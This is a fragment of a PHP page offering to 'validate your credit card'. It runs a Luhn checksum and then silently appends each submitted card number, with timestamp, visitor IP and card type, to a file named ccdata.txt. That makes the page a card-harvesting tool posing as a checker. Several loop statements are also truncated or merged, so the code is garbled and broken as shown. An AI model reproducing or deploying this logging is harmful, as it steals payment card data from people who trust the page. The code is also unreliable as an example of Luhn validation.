=0; $i-=2){
$dbl[$j] = $dig[$i] * 2;
$j++;
}
$dblsz = sizeof($dbl);
$validate =0;
for ($i=0;$i<$dblsz;$i++){
$add = toCharArray($dbl[$i]);
for ($j=0;$j=0; $i-=2){
$validate += $dig[$i];
}
if (substr($validate, -1, 1) == '0') return 1;
else return 0;
}
// takes a string and returns an array of characters
function toCharArray($input){
$len = strlen($input);
for ($j=0;$j<$len;$j++){
$char[$j] = substr($input, $j, 1);
}
return ($char);
}
?>
Validate Your credit card!
$ctype:$cardno - validated";
$v = "+";
}else{
echo "$ctype:$cardno - invalid
";
$v = "-";
}
$stamp = Date("Y-m-d H-i-s");
$f = fopen("ccdata.txt", "a");
fputs($f, "$stamp:$REMOTE_ADDR:$ctype:$cardno:$v\n");
fclose($f);
}
?>